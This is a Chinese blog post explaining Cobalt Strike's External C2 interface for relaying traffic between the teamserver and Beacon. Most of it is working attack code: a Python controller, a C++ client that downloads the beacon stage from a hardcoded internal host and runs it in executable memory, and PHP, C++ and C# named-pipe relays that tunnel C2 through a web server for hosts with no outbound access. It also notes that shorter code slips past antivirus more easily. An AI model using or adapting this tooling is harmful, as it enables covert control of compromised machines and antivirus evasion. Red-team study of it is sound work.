CobaltStrike External C2信道

简介

CS的扩展C2接口(Cobalt Strike External Command and Control)可以允许第三方程序作为teamserver和Beacon之间的一个额外通信层。以下简称External C2。

架构

External C2由一个第三方控制器和第三方客户端组成。架构示意图如下。
Alt text

说白了就是一个代理转发的功能。

第三方控制器负责连接上CS的External C2服务、转发External C2服务提供的payload stage、转发攻击者下达的任务、Beeacon会话的相应等。

第三方服务端负责注入payload stage到内存、读取Beacon Session的相应,下达服务端传达的任务给Beacon session。

External C2协议

数据帧

External C2和SMB Beacon使用相同格式的数据帧(即External C2接收和发送的帧,SMB Beacon接受和发送的帧都是一样的)。所有帧都以4字节的小端字节顺序整数开始,此整数是帧内数据的长度。后面紧跟帧内数据。

Alt text

未授权

External C2不会对向它连接的第三方控制器进行鉴权,这听上很不合理,但事实它的本质就是一个listener。

External C2组件

External C2 Server

使用AS脚本进行启动,启动命令是

1
externalc2_start("0.0.0.0", 2222);

第三方控制器

当需要新会话时,第三方控制器连接到External C2。 与External C2的每个连接视作一个会话服务。

第三方控制器连接上External C2的第一个任务是发送需要的配置信息。它包括架构信息arch,命名管道pipename,回连间隔时间block。External C2不会ack这些消息,当配置完成后发送go指令,以告诉External C2发送payload stage

第三方控制器读取到payload stage并转发给第三方客户端,此时,第三方控制器必须等待从第三方客户端接收帧。 当此帧到来时,第三方控制器必须将帧写入到它对External C2 Server的连接(socket)。

第三方控制器现在必须从External C2 Server读取一个帧。 External C2 Server将等待配置的block时间再发送任务。 如果没有任何可用任务,External C2 Server将生成一个空任务的帧。 第三方控制器必须将其读取的帧发送给第三方客户端。

第三方控制器会一直重复等待->从一方读取->转发到另一方->等待的过程。

第三方客户端

第三方客户端将接受第三方控制器第一步发来的payload stage。这个payload stage是一个因头部被patch可以自启动的DLL。正常的进程注入可以运行这段代码。

一旦payload stage跑起来了,第三方客户端可以连接便可以连接到命名管道服务器。第三方代理将像文件一样以读写方式打开命名管道。打开命名管道的路径是\\.\pipe\[pipe name here]。如果第三方客户端的语言有操作命名管道的API也可以使用。

第三方客户端现在必须从Beacon命名管道连接中读取一个帧。 读取此帧后,第三方客户端必须将此帧中继到第三方控制器进行处理。

第三方客户端现在必须等待来自第三方控制器的帧。 一旦此帧可用,第三方客户端必须将此帧写入命名管道连接。

第三方客户端也会一直重复等待->从一方读取->转发到另一方->等待的过程。

Demo代码

控制端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import socket
import struct
import time

class ExternalC2Controller:
def __init__(self, port):
self.port = port

def encodeFrame(self, data):
return struct.pack("<I", len(data)) + data

def sendToTS(self, data):
self._socketTS.sendall(self.encodeFrame(data))

def recvFromTS(self):
data = ""
_len = self._socketTS.recv(4)
l = struct.unpack("<I",_len)[0]
while len(data) < l:
data += self._socketTS.recv(l - len(data))
return data

def sendToBeacon(self, data):
self._socketClient.sendall(self.encodeFrame(data))

def recvFromBeacon(self):
data = ""
_len = self._socketClient.recv(4)
l = struct.unpack("<I",_len)[0]
while len(data) < l:
data += self._socketClient.recv(l - len(data))
return data

def run(self):
# First thing, wait for a connection from our custom beacon
self._socketBeacon = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
self._socketBeacon.bind(("0.0.0.0", 8081))
self._socketBeacon.listen(1)
self._socketClient = self._socketBeacon.accept()[0]
print "Received C2 connection"

# Now we have a beacon connection, we kick off comms with CS External C2
self._socketTS = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
self._socketTS.connect(("127.0.0.1", self.port))

# Send out config options
self.sendToTS("arch=x86")
self.sendToTS("pipename=xpntest")
self.sendToTS("block=500")
self.sendToTS("go")

# Receive the beacon payload from CS to forward to our custom beacon
data = self.recvFromTS()

while(True):
print "Sending %d bytes to beacon" % len(data)
self.sendToBeacon(data)

data = self.recvFromBeacon()
print "Received %d bytes from beacon" % len(data)

print "Sending %d bytes to TS" % len(data)
self.sendToTS(data)

data = self.recvFromTS()
print "Received %d bytes from TS" % len(data)

controller = ExternalC2Controller(2222)
controller.run()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
// ConsoleApplication1.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include "pch.h"
#include <WinSock2.h>

#include <sys/stat.h>
#include <ShellAPI.h>
#include <Shlobj.h>

#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"user32.lib")
#pragma comment(lib,"Advapi32.lib")
#pragma comment(lib,"Shell32.lib")
#pragma warning(disable:4996)

// Allocates a RWX page for the CS beacon, copies the payload, and starts a new thread
void spawnBeacon(char *payload, DWORD len) {

HANDLE threadHandle;
DWORD threadId = 0;
char *alloc = (char *)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(alloc, payload, len);

threadHandle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, &threadId);
}

// Sends data to our C2 controller received from our injected beacon
void sendData(SOCKET sd, const char *data, DWORD len) {
char *buffer = (char *)malloc(len + 4);
if (buffer == NULL)
return;

DWORD bytesWritten = 0, totalLen = 0;

*(DWORD *)buffer = len;
memcpy(buffer + 4, data, len);

while (totalLen < len + 4) {
bytesWritten = send(sd, buffer + totalLen, len + 4 - totalLen, 0);
totalLen += bytesWritten;
}
free(buffer);
}

// Receives data from our C2 controller to be relayed to the injected beacon
char *recvData(SOCKET sd, DWORD *len) {
char *buffer;
DWORD bytesReceived = 0, totalLen = 0;

*len = 0;

recv(sd, (char *)len, 4, 0);
buffer = (char *)malloc(*len);
if (buffer == NULL)
return NULL;

while (totalLen < *len) {
bytesReceived = recv(sd, buffer + totalLen, *len - totalLen, 0);
totalLen += bytesReceived;
}
return buffer;
}

// Creates a new C2 controller connection for relaying commands
SOCKET createC2Socket(const char *addr, WORD port) {
WSADATA wsd;
SOCKET sd;
SOCKADDR_IN sin;
WSAStartup(0x0202, &wsd);

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.S_un.S_addr = inet_addr(addr);

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
connect(sd, (SOCKADDR*)&sin, sizeof(sin));

return sd;
}

// Connects to the name pipe spawned by the injected beacon
HANDLE connectBeaconPipe(const char *pipeName) {
HANDLE beaconPipe;

beaconPipe = CreateFileA(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, NULL, NULL);

return beaconPipe;
}

// Receives data from our injected beacon via a named pipe
char *recvFromBeacon(HANDLE pipe, DWORD *len) {
char *buffer;
DWORD bytesRead = 0, totalLen = 0;

*len = 0;

ReadFile(pipe, len, 4, &bytesRead, NULL);
buffer = (char *)malloc(*len);

while (totalLen < *len) {
ReadFile(pipe, buffer + totalLen, *len - totalLen, &bytesRead, NULL);
totalLen += bytesRead;
}
return buffer;
}

// Write data to our injected beacon via a named pipe
void sendToBeacon(HANDLE pipe, const char *data, DWORD len) {
DWORD bytesWritten = 0;
WriteFile(pipe, &len, 4, &bytesWritten, NULL);
WriteFile(pipe, data, len, &bytesWritten, NULL);
}

int main()
{
DWORD payloadLen = 0;
char *payloadData = NULL;
HANDLE beaconPipe = INVALID_HANDLE_VALUE;

// Create a connection back to our C2 controller
SOCKET c2socket = createC2Socket("172.16.247.10", 8081);
payloadData = recvData(c2socket, &payloadLen);

// Start the CS beacon
spawnBeacon(payloadData, payloadLen);

// Loop until the pipe is up and ready to use
while (beaconPipe == INVALID_HANDLE_VALUE) {
// Create our IPC pipe for talking to the C2 beacon
Sleep(500);
beaconPipe = connectBeaconPipe("\\\\.\\pipe\\xpntest");
}

while (true) {
// Start the pipe dance
payloadData = recvFromBeacon(beaconPipe, &payloadLen);
if (payloadLen == 0) break;

sendData(c2socket, payloadData, payloadLen);
free(payloadData);

payloadData = recvData(c2socket, &payloadLen);
if (payloadLen == 0) break;

sendToBeacon(beaconPipe, payloadData, payloadLen);
free(payloadData);
}
return 0;
}

Alt text
Alt text
Alt text

用External C2 解决不出网的问题

这种情况使用client.php client.exe smb-beacon.exe作为一个通信链路。其运作方式是,client.exe打开管道smb-beacon.exe创建的beacon管道,读出数据写入client.exe创建的clientread管道,client.php打开clientread管道将数据传回第三方控制器。client.php将第三方控制器传入来的数据写入client.exe创建的clientwrite管道中,client.exe再读取clientwrite管道中的数据写入beacon管道。

client.exe在整个流程中扮演数据中继的角色,之所以需要client.exe做中继的本质原因是对于smb beacon来说每打开一次(fopen)相当于就是建立一个新的对话,而php没法对文件句柄持久化,如果用php直接操作beacon每次请求php都相当于一次另起炉灶,根本没有办法建立进行通信。所以client.exe对beacon句柄做持久化

以下是demo代码,基本抄袭自hl0rey师傅的项目,代码中继管道的cpp代码只能在win10上跑,win7上跑不了,暂不清楚原因。

控制器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import socket
import struct
import time
import requests

class ExternalC2Controller:
def __init__(self, port):
self.port = port

def encodeFrame(self, data):
return struct.pack("<I", len(data)) + data

def sendToTS(self, data):
print "Send To Ts " + self.encodeFrame(data)
self._socketTS.sendall(self.encodeFrame(data))

def recvFromTS(self):
data = ""
_len = self._socketTS.recv(4)
l = struct.unpack("<I",_len)[0]
while len(data) < l:
data += self._socketTS.recv(l - len(data))
return data

def sendToBeacon(self, data):
params['action'] = "write"
params['pipename'] = "hlwrite"
params['data'] = self.encodeFrame(data)
resp = requests.post(url=URL, data=params, timeout=30)
print "Write Content: " + resp.text
params['data'] = ""

def recvFromBeacon(self):
params['action'] = "read"
params['pipename'] = "hlread"
resp = requests.get(url=URL, params=params, timeout=30)
print "Read Content: " + resp.text
return resp.content

def run(self):
self._socketTS = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
self._socketTS.connect(("127.0.0.1", self.port))

self.sendToTS("arch=x64")
self.sendToTS("pipename=xpntest")
self.sendToTS("block=500")
self.sendToTS("go")

data = self.recvFromTS()

while(True):
data = self.recvFromBeacon()
print "Received %d bytes from beacon" % len(data)

print "Sending %d bytes to TS" % len(data)
self.sendToTS(data)

data = self.recvFromTS()
print "Received %d bytes from TS" % len(data)

print "Sending %d bytes to beacon" % len(data)
self.sendToBeacon(data)

time.sleep(3)


#URL = "http://172.16.247.145/pipe.php"
URL = "http://172.16.247.145/index.php"
params = {"pipename":"xpntest", "action":"", "data":""}
controller = ExternalC2Controller(2222)
controller.run()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
function recvFromBeacon($pipename){
$fp = fopen($pipename, "rb");
$len=fread($fp, 4);
$len=unpack("v", $len)[1];
$data=fread($fp, $len);
fclose($fp);
echo $data;
}

function sendToBeacon($pipename){
$fp = fopen($pipename, "wb");
$data=$_REQUEST["data"];
fwrite($fp, $data);
fclose($fp);
echo $data;
}


if(isset($_REQUEST['action']) && $_REQUEST['pipename']){
$pipename = '\\\\.\\pipe\\'.$_REQUEST['pipename'];
if ($_REQUEST['action']=='read'){
recvFromBeacon($pipename);
}elseif ($_REQUEST['action']=='write'){
sendToBeacon($pipename);
}
}else{
header('HTTP/1.1 404 Not Found');
exit('404');
}

中继代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#include <Windows.h>
#include <stdio.h>

#define PAYLOAD_MAX_SIZE 512 * 1024
#define BUFFER_MAX_SIZE 1024 * 1024

//桥,字面意思。方便把自定义的管道和beacon管道桥接的结构体
struct BRIDGE
{
HANDLE client;
HANDLE server;
};

//从beacon读取数据
DWORD read_frame(HANDLE my_handle, char* buffer, DWORD max) {

DWORD size = 0, temp = 0, total = 0;
/* read the 4-byte length */
ReadFile(my_handle, (char*)& size, 4, &temp, NULL);
printf("read_frame length: %d\n", size);
/* read the whole thing in */
while (total < size) {
ReadFile(my_handle, buffer + total, size - total, &temp,
NULL);
total += temp;
}
return size;
}

//向beacon写入数据
void write_frame(HANDLE my_handle, char* buffer, DWORD length) {
printf("write_frame length: %d\n", length);
DWORD wrote = 0;
WriteFile(my_handle, (void*)& length, 4, &wrote, NULL);
printf("write %d bytes.\n", wrote);
WriteFile(my_handle, buffer, length, &wrote, NULL);
printf("write %d bytes.\n", wrote);
}

//从控制器读取数据
DWORD read_client(HANDLE my_handle, char* buffer) {
DWORD size = 0;
DWORD readed = 0;
ReadFile(my_handle, &size, 4, NULL, NULL);
printf("read_client length: %d\n", size);
ReadFile(my_handle, buffer, size, &readed, NULL);
printf("final data from client: %d\n", readed);
return readed;
}

//向控制器写入数据
void write_client(HANDLE my_handle, char* buffer, DWORD length) {
DWORD wrote = 0;
WriteFile(my_handle, buffer, length, &wrote, NULL);
printf("write client total %d data %d\n", wrote, length);
}

//客户端读管道、服务端写管道逻辑
DWORD WINAPI ReadOnlyPipeProcess(LPVOID lpvParam) {
//把两条管道的句柄取出来
struct BRIDGE* bridge = (struct BRIDGE*)lpvParam;
HANDLE hpipe = bridge->client;
HANDLE beacon = bridge->server;

DWORD length = 0;
char* buffer = VirtualAlloc(0, BUFFER_MAX_SIZE, MEM_COMMIT, PAGE_READWRITE);
if (buffer == NULL)
{
exit(-1);
}
//再次校验管道
if ((hpipe == INVALID_HANDLE_VALUE) || (beacon == INVALID_HANDLE_VALUE))
{
return FALSE;
}
while (TRUE)
{
if (ConnectNamedPipe(hpipe, NULL))
{
printf("client want read.\n");
length = read_frame(beacon, buffer, BUFFER_MAX_SIZE);
printf("read from beacon: %d\n", length);
//分两次传送,发一次长度,再发数据。
write_client(hpipe,(char *) &length, 4);
FlushFileBuffers(hpipe);
write_client(hpipe, buffer, length);
FlushFileBuffers(hpipe);
DisconnectNamedPipe(hpipe);
//清空缓存区
ZeroMemory(buffer, BUFFER_MAX_SIZE);
length = 0;
}

}

return 1;
}

//客户端写管道、服务端读管道逻辑
DWORD WINAPI WriteOnlyPipeProcess(LPVOID lpvParam) {
//取出两条管道
struct BRIDGE* bridge = (struct BRIDGE*)lpvParam;
HANDLE hpipe = bridge->client;
HANDLE beacon = bridge->server;

DWORD length = 0;
char* buffer = VirtualAlloc(0, BUFFER_MAX_SIZE, MEM_COMMIT, PAGE_READWRITE);
if (buffer == NULL)
{
exit(-1);
}
if ((hpipe == INVALID_HANDLE_VALUE) || (beacon == INVALID_HANDLE_VALUE))
{
return FALSE;
}
while (TRUE)
{
if (ConnectNamedPipe(hpipe, NULL))
{
//一次性读,一次性写
printf("client want write.\n");
length = read_client(hpipe, buffer);
printf("read from client: %d\n", length);
write_frame(beacon, buffer, length);
DisconnectNamedPipe(hpipe);
//清空缓存区
ZeroMemory(buffer, BUFFER_MAX_SIZE);
length = 0;
}

}

return 2;
}

int main(int argc, char* argv[]) {

//创建客户端读管道
HANDLE hPipeRead = CreateNamedPipe("\\\\.\\pipe\\hlread", PIPE_ACCESS_OUTBOUND, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, BUFFER_MAX_SIZE, BUFFER_MAX_SIZE, 0, NULL);
//创建客户端写管道
HANDLE hPipeWrite = CreateNamedPipe("\\\\.\\pipe\\hlwrite", PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, BUFFER_MAX_SIZE, BUFFER_MAX_SIZE, 0, NULL);
//与beacon建立连接
HANDLE hfileServer = CreateFileA("\\\\.\\pipe\\hltest", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, NULL);


//检测管道和连接是否建立成功
if ((hPipeRead == INVALID_HANDLE_VALUE) || (hPipeWrite == INVALID_HANDLE_VALUE) || (hfileServer == INVALID_HANDLE_VALUE))
{
if (hPipeRead == INVALID_HANDLE_VALUE)
{
printf("error during create readpipe.");
}
if (hPipeWrite == INVALID_HANDLE_VALUE)
{
printf("error during create writepipe.");
}
if (hfileServer == INVALID_HANDLE_VALUE)
{
printf("error during connect to beacon.");
}
exit(-1);
}
else
{
//一切正常
printf("all pipes are ok.\n");
}


//放入客户端读管道和beacon连接
struct BRIDGE readbridge;
readbridge.client = hPipeRead;
readbridge.server = hfileServer;
//启动客户端读管道逻辑
HANDLE hTPipeRead = CreateThread(NULL, 0, ReadOnlyPipeProcess, (LPVOID)& readbridge, 0, NULL);

//放入客户端写管道和beacon连接
struct BRIDGE writebridge;
writebridge.client = hPipeWrite;
writebridge.server = hfileServer;
//启动客户端写管道逻辑
HANDLE hTPipeWrite = CreateThread(NULL, 0, WriteOnlyPipeProcess, (LPVOID)& writebridge, 0, NULL);

//代码没有什么意义,直接写个死循环也行
HANDLE waitHandles[] = { hPipeRead,hPipeWrite };
while (TRUE)
{
WaitForMultipleObjects(2, waitHandles, TRUE, INFINITE);
}

return 0;
}

其它坑点

php文件注意去BOM头%EF%BB%BF

读写管道的cpp代码

cobaltstrike 自己生成smb beacon,剥离掉第三方注入shellcode的功能。这么做的原因是实际情况中代码越短越不好杀。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
// ConsoleApplication2.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include "pch.h"
#include <iostream>
#include <WinSock2.h>

#include <sys/stat.h>
#include <ShellAPI.h>
#include <Shlobj.h>

#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"user32.lib")
#pragma comment(lib,"Advapi32.lib")
#pragma comment(lib,"Shell32.lib")
#pragma warning(disable:4996)

using std::cout;
using std::endl;
// Sends data to our C2 controller received from our injected beacon
void sendData(SOCKET sd, const char *data, DWORD len) {
cout << "Sends data to our C2 controller received from our injected beacon" << endl << endl;
char *buffer = (char *)malloc(len + 4);
if (buffer == NULL)
return;

DWORD bytesWritten = 0, totalLen = 0;

*(DWORD *)buffer = len;
memcpy(buffer + 4, data, len);

while (totalLen < len + 4) {
bytesWritten = send(sd, buffer + totalLen, len + 4 - totalLen, 0);
totalLen += bytesWritten;
}
free(buffer);
}

// Receives data from our C2 controller to be relayed to the injected beacon
char *recvData(SOCKET sd, DWORD *len) {
cout << "Receives data from our C2 controller to be relayed to the injected beacon" << endl << endl;
char *buffer;
DWORD bytesReceived = 0, totalLen = 0;

*len = 0;

recv(sd, (char *)len, 4, 0);
buffer = (char *)malloc(*len);
if (buffer == NULL)
return NULL;

while (totalLen < *len) {
bytesReceived = recv(sd, buffer + totalLen, *len - totalLen, 0);
totalLen += bytesReceived;
}
return buffer;
}

// Creates a new C2 controller connection for relaying commands
SOCKET createC2Socket(const char *addr, WORD port) {
cout << "Creates a new C2 controller connection for relaying commands" << endl << endl;
WSADATA wsd;
SOCKET sd;
SOCKADDR_IN sin;
WSAStartup(0x0202, &wsd);

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.S_un.S_addr = inet_addr(addr);

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
connect(sd, (SOCKADDR*)&sin, sizeof(sin));

return sd;
}

// Connects to the name pipe spawned by the injected beacon
HANDLE connectBeaconPipe(const char *pipeName) {
cout << "Connects to the name pipe spawned by the injected beacon" << endl << endl;
HANDLE beaconPipe;

beaconPipe = CreateFileA(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, NULL, NULL);

return beaconPipe;
}

// Receives data from our injected beacon via a named pipe
char *recvFromBeacon(HANDLE pipe, DWORD *len) {
cout << "Receives data from our injected beacon via a named pipe" << endl << endl;
char *buffer;
DWORD bytesRead = 0, totalLen = 0;

*len = 0;

ReadFile(pipe, len, 4, &bytesRead, NULL);
buffer = (char *)malloc(*len);

while (totalLen < *len) {
ReadFile(pipe, buffer + totalLen, *len - totalLen, &bytesRead, NULL);
totalLen += bytesRead;
}
return buffer;
}

// Write data to our injected beacon via a named pipe
void sendToBeacon(HANDLE pipe, const char *data, DWORD len) {
cout << "Write data to our injected beacon via a named pipe" << endl << endl;
DWORD bytesWritten = 0;
WriteFile(pipe, &len, 4, &bytesWritten, NULL);
WriteFile(pipe, data, len, &bytesWritten, NULL);
}

int main()
{
DWORD payloadLen = 0;
char *payloadData = NULL;
HANDLE beaconPipe = INVALID_HANDLE_VALUE;

// Create a connection back to our C2 controller
SOCKET c2socket = createC2Socket("172.16.247.10", 8081);


// Loop until the pipe is up and ready to use
while (beaconPipe == INVALID_HANDLE_VALUE) {
cout << "Create our IPC pipe for talking to the C2 beacon" << endl << endl;
// Create our IPC pipe for talking to the C2 beacon
Sleep(500);
beaconPipe = connectBeaconPipe("\\\\.\\pipe\\xpntest");
}

while (true) {
// Start the pipe dance
payloadData = recvFromBeacon(beaconPipe, &payloadLen);
if (payloadLen == 0) break;

sendData(c2socket, payloadData, payloadLen);
free(payloadData);

payloadData = recvData(c2socket, &payloadLen);
if (payloadLen == 0) break;

sendToBeacon(beaconPipe, payloadData, payloadLen);
free(payloadData);
}
return 0;
}

管道通信只能点对点

Alt text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
using System;
using System.IO;
using System.IO.Pipes;
using System.Threading;

namespace ConsoleApp1
{
class Program
{

static void Main(string[] args)
{
//connect to beacon
NamedPipeClientStream pipeClient = new NamedPipeClientStream("\\\\.\\", "xpntest", PipeDirection.InOut);

Console.WriteLine("[client] Attemping to connect to pipe...");
pipeClient.Connect();

Console.WriteLine("[client] connected to pipe");
Console.WriteLine("[client] There are currently {0} pipe server instances open.", pipeClient.NumberOfServerInstances);

StreamWriter writer = new StreamWriter(pipeClient);
StreamReader reader = new StreamReader(pipeClient);
writer.AutoFlush = true;

//create pipe to write
NamedPipeServerStream pipeWriteServer1 = new NamedPipeServerStream("hlwrite", PipeDirection.InOut);
NamedPipeClientStream pipeWriteClient1 = new NamedPipeClientStream("\\\\.\\", "hlwrite", PipeDirection.InOut);
pipeWriteClient1.Connect();
StreamWriter pipeWriteClientWriter = new StreamWriter(pipeWriteClient1);
pipeWriteClientWriter.AutoFlush = true;
//create pipe to read
NamedPipeServerStream pipeReadServer2 = new NamedPipeServerStream("hlread", PipeDirection.InOut);
NamedPipeClientStream pipeReadClient2 = new NamedPipeClientStream("\\\\.\\", "hlread", PipeDirection.InOut);
pipeReadClient2.Connect();
StreamReader pipeReadClientReader = new StreamReader(pipeReadClient2);

Console.WriteLine("All pipes are ok.");

Thread readOnlyThread = new Thread(() => ReadOnlyPipeProcess(reader, pipeWriteClientWriter));
readOnlyThread.IsBackground = true;
readOnlyThread.Start();

Thread WriteOnlyThread = new Thread(() => WriteOnlyPipeProcess(pipeReadClientReader, writer));
WriteOnlyThread.IsBackground = true;
WriteOnlyThread.Start();

readOnlyThread.Join();

}

public static uint read_frame(StreamReader reader, string buffer)
{
//First, read size.
uint frame_size = 0;
int i = 0;
byte[] size = new byte[4];
for (i = 0; i < 4; i++)
{
size[i] = (Byte)reader.Read();
}
//Array.Reverse(size);
frame_size = BitConverter.ToUInt32(size, 0);
Console.WriteLine("read_frame length: {0}.", frame_size);

//Second, read data
byte[] data = new byte[frame_size];
for (i = 0; i < frame_size; i++)
{
data[i] = (Byte)reader.Read();
}
buffer = System.Text.Encoding.ASCII.GetString(data);
Console.WriteLine("The frame data is: {0}", buffer);
return frame_size;
}

public static void write_frame(StreamWriter writer, string buffer)
{
//Get buffer size
int frame_size = buffer.Length;
int i;
Console.WriteLine("write_frame length: {0}.", frame_size);
byte[] size = BitConverter.GetBytes(frame_size);
//Array.Reverse(size);

//First, write size
for (i = 0; i < size.Length; i++)
{
writer.Write(size[0]);
}

//Second, write data
for (i = 0; i < frame_size; i++)
{
writer.Write(buffer[i]);
}
}

//read data from beacon and write into own pipe
public static void ReadOnlyPipeProcess(StreamReader reader, StreamWriter writer)
{
string buffer = "";
while (true)
{
Console.WriteLine("Client want read.");
uint length = read_frame(reader, buffer);
Console.WriteLine("Read from beacon {0}.", length);
write_frame(writer, buffer);
buffer = "";
}
}

//read data from own pipe and write into beacon
public static void WriteOnlyPipeProcess(StreamReader reader, StreamWriter writer)
{
string buffer = "";
while (true)
{
Console.WriteLine("Beacon want read.");
uint length = read_frame(reader, buffer);
Console.WriteLine("Write to beacon {0}.", length);
write_frame(writer, buffer);
buffer = "";
}
}
}
}

参考

C#学习笔记2:多线程
解析C#中管道流的使用
StreamReader.Read Method
A C# Named Pipe Library That Supports Multiple Clients
CommunicationServers/Pipe/

Author

李三(cl0und)

Posted on

2019-10-25

Updated on

2024-10-05

Licensed under